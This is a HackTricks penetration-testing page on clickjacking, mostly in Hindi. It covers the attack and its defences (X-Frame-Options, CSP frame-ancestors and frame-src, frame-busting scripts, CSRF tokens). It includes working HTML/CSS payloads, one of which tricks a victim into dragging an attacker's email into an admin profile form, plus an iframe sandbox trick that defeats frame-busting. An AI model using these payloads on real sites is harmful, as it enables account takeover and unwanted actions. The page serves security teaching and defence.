Clickjacking

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

What is Clickjacking

एक clickjacking हमले में, एक उपयोगकर्ता को एक तत्व पर क्लिक करने के लिए धोखा दिया जाता है जो या तो अदृश्य होता है या किसी अन्य तत्व के रूप में छिपा होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल्स या संवेदनशील जानकारी का प्रदान करना, पैसे का हस्तांतरण, या ऑनलाइन उत्पादों की खरीदारी करना।

Prepopulate forms trick

कभी-कभी पृष्ठ लोड करते समय GET पैरामीटर का उपयोग करके एक फॉर्म के फ़ील्ड के मान को भरना संभव होता है। एक हमलावर इस व्यवहार का दुरुपयोग करके एक फॉर्म को मनमाने डेटा से भर सकता है और clickjacking पेलोड भेज सकता है ताकि उपयोगकर्ता बटन Submit दबाए।

Populate form with Drag&Drop

यदि आपको उपयोगकर्ता से एक फॉर्म भरवाने की आवश्यकता है लेकिन आप सीधे उससे कुछ विशिष्ट जानकारी (जैसे ईमेल और या विशिष्ट पासवर्ड जो आप जानते हैं) लिखने के लिए नहीं कहना चाहते, तो आप बस उससे Drag&Drop करने के लिए कह सकते हैं जो आपके नियंत्रित डेटा को लिखेगा जैसे कि इस उदाहरण में।

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

मल्टीस्टेप पेलोड

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

यदि आपने एक XSS हमले की पहचान की है जो उपयोगकर्ता को किसी तत्व पर क्लिक करने की आवश्यकता है ताकि XSS को ट्रिगर किया जा सके और पृष्ठ क्लिकजैकिंग के लिए संवेदनशील है, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए धोखा दिया जा सके।
उदाहरण:
आपने खाते के कुछ निजी विवरणों में एक स्वयं XSS पाया (विवरण जो केवल आप सेट और पढ़ सकते हैं)। इन विवरणों को सेट करने के लिए फॉर्म वाला पृष्ठ क्लिकजैकिंग के लिए संवेदनशील है और आप GET पैरामीटर के साथ फॉर्म को पूर्व-जनित कर सकते हैं।
एक हमलावर उस पृष्ठ के लिए एक क्लिकजैकिंग हमले की तैयारी कर सकता है फॉर्म को XSS पेलोड के साथ पूर्व-जनित करके और उपयोगकर्ता को फॉर्म सबमिट करने के लिए धोखा देकर। तो, जब फॉर्म सबमिट किया जाता है और मानों को संशोधित किया जाता है, तो उपयोगकर्ता XSS को निष्पादित करेगा

DoubleClickjacking

पहले इस पोस्ट में समझाया गया, यह तकनीक पीड़ित से एक कस्टम पृष्ठ के बटन पर डबल क्लिक करने के लिए कहेगी जो एक विशिष्ट स्थान पर रखा गया है, और माउसडाउन और ऑनक्लिक घटनाओं के बीच समय के अंतर का उपयोग करके पीड़ित पृष्ठ को डबल क्लिक के दौरान लोड करेगी ताकि पीड़ित वास्तव में पीड़ित पृष्ठ में एक वैध बटन पर क्लिक करे

एक उदाहरण इस वीडियो में देखा जा सकता है: https://www.youtube.com/watch?v=4rGvRRMrD18

एक कोड उदाहरण इस पृष्ठ पर पाया जा सकता है।

warning

यह तकनीक उपयोगकर्ता को पीड़ित पृष्ठ में 1 स्थान पर क्लिक करने के लिए धोखा देने की अनुमति देती है, जिससे क्लिकजैकिंग के खिलाफ हर सुरक्षा को बायपास किया जा सकता है। इसलिए हमलावर को संवेदनशील क्रियाओं को खोजने की आवश्यकता है जो केवल 1 क्लिक के साथ की जा सकती हैं, जैसे OAuth प्रम्प्ट जो अनुमतियों को स्वीकार करते हैं

Strategies to Mitigate Clickjacking

Client-Side Defenses

क्लाइंट साइड पर निष्पादित स्क्रिप्ट क्लिकजैकिंग को रोकने के लिए क्रियाएँ कर सकती हैं:

  • सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है।
  • सभी फ्रेम को दृश्य बनाना।
  • अदृश्य फ्रेम पर क्लिक को रोकना।
  • संभावित क्लिकजैकिंग प्रयासों के लिए उपयोगकर्ताओं का पता लगाना और चेतावनी देना।

हालांकि, ये फ्रेम-बस्टिंग स्क्रिप्ट्स को बायपास किया जा सकता है:

  • ब्राउज़रों की सुरक्षा सेटिंग्स: कुछ ब्राउज़र अपनी सुरक्षा सेटिंग्स या जावास्क्रिप्ट समर्थन की कमी के आधार पर इन स्क्रिप्ट्स को ब्लॉक कर सकते हैं।
  • HTML5 iframe sandbox विशेषता: एक हमलावर allow-forms या allow-scripts मानों के साथ sandbox विशेषता सेट करके फ्रेम बस्टर स्क्रिप्ट्स को निष्क्रिय कर सकता है बिना allow-top-navigation के। यह iframe को यह सत्यापित करने से रोकता है कि क्या यह शीर्ष विंडो है, उदाहरण के लिए,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

allow-forms और allow-scripts मान iframe के भीतर क्रियाओं को सक्षम करते हैं जबकि शीर्ष-स्तरीय नेविगेशन को निष्क्रिय करते हैं। लक्षित साइट की इच्छित कार्यक्षमता सुनिश्चित करने के लिए, हमलों के प्रकार के आधार पर allow-same-origin और allow-modals जैसे अतिरिक्त अनुमतियों की आवश्यकता हो सकती है। ब्राउज़र कंसोल संदेश यह मार्गदर्शन कर सकते हैं कि कौन सी अनुमतियाँ दी जानी चाहिए।

सर्वर-साइड रक्षा

X-Frame-Options

X-Frame-Options HTTP प्रतिक्रिया हेडर ब्राउज़रों को <frame> या <iframe> में पृष्ठ को रेंडर करने की वैधता के बारे में सूचित करता है, जिससे Clickjacking को रोकने में मदद मिलती है:

  • X-Frame-Options: deny - कोई डोमेन सामग्री को फ्रेम नहीं कर सकता।
  • X-Frame-Options: sameorigin - केवल वर्तमान साइट सामग्री को फ्रेम कर सकती है।
  • X-Frame-Options: allow-from https://trusted.com - केवल निर्दिष्ट 'uri' पृष्ठ को फ्रेम कर सकता है।
  • सीमाओं का ध्यान रखें: यदि ब्राउज़र इस निर्देश का समर्थन नहीं करता है, तो यह काम नहीं कर सकता। कुछ ब्राउज़र CSP frame-ancestors निर्देश को प्राथमिकता देते हैं।

Content Security Policy (CSP) frame-ancestors निर्देश

CSP में frame-ancestors निर्देश Clickjacking सुरक्षा के लिए अनुशंसित विधि है:

  • frame-ancestors 'none' - X-Frame-Options: deny के समान।
  • frame-ancestors 'self' - X-Frame-Options: sameorigin के समान।
  • frame-ancestors trusted.com - X-Frame-Options: allow-from के समान।

उदाहरण के लिए, निम्न CSP केवल समान डोमेन से फ्रेमिंग की अनुमति देता है:

Content-Security-Policy: frame-ancestors 'self';

अधिक विवरण और जटिल उदाहरण frame-ancestors CSP दस्तावेज़ और Mozilla के CSP frame-ancestors दस्तावेज़ में पाए जा सकते हैं।

Content Security Policy (CSP) के साथ child-src और frame-src

Content Security Policy (CSP) एक सुरक्षा उपाय है जो Clickjacking और अन्य कोड इंजेक्शन हमलों को रोकने में मदद करता है, यह निर्दिष्ट करके कि ब्राउज़र को सामग्री लोड करने के लिए कौन से स्रोतों की अनुमति देनी चाहिए।

frame-src निर्देश

  • फ्रेम के लिए मान्य स्रोतों को परिभाषित करता है।
  • default-src निर्देश की तुलना में अधिक विशिष्ट है।
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

यह नीति समान मूल (स्वयं) और https://trusted-website.com से फ़्रेमों की अनुमति देती है।

child-src निर्देश

  • CSP स्तर 2 में वेब कार्यकर्ताओं और फ़्रेमों के लिए मान्य स्रोत सेट करने के लिए पेश किया गया।
  • frame-src और worker-src के लिए एक बैकअप के रूप में कार्य करता है।
Content-Security-Policy: child-src 'self' https://trusted-website.com;

यह नीति समान मूल (स्वयं) और https://trusted-website.com से फ्रेम और कार्यकर्ताओं की अनुमति देती है।

उपयोग नोट्स:

  • अवहेलना: child-src को frame-src और worker-src के पक्ष में समाप्त किया जा रहा है।
  • फॉलबैक व्यवहार: यदि frame-src अनुपस्थित है, तो फ्रेम के लिए fallback के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
  • सख्त स्रोत परिभाषा: शोषण को रोकने के लिए निर्देशों में केवल विश्वसनीय स्रोतों को शामिल करें।

JavaScript फ्रेम-ब्रेकिंग स्क्रिप्ट्स

हालांकि यह पूरी तरह से सुरक्षित नहीं है, JavaScript-आधारित फ्रेम-बस्टिंग स्क्रिप्ट्स का उपयोग एक वेब पृष्ठ को फ्रेम होने से रोकने के लिए किया जा सकता है। उदाहरण:

javascript
if (top !== self) {
top.location = self.location
}

एंटी-CSRF टोकन का उपयोग करना

  • टोकन मान्यता: वेब अनुप्रयोगों में एंटी-CSRF टोकन का उपयोग करें ताकि यह सुनिश्चित हो सके कि स्थिति-परिवर्तन करने वाले अनुरोध जानबूझकर उपयोगकर्ता द्वारा किए गए हैं और किसी Clickjacked पृष्ठ के माध्यम से नहीं।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें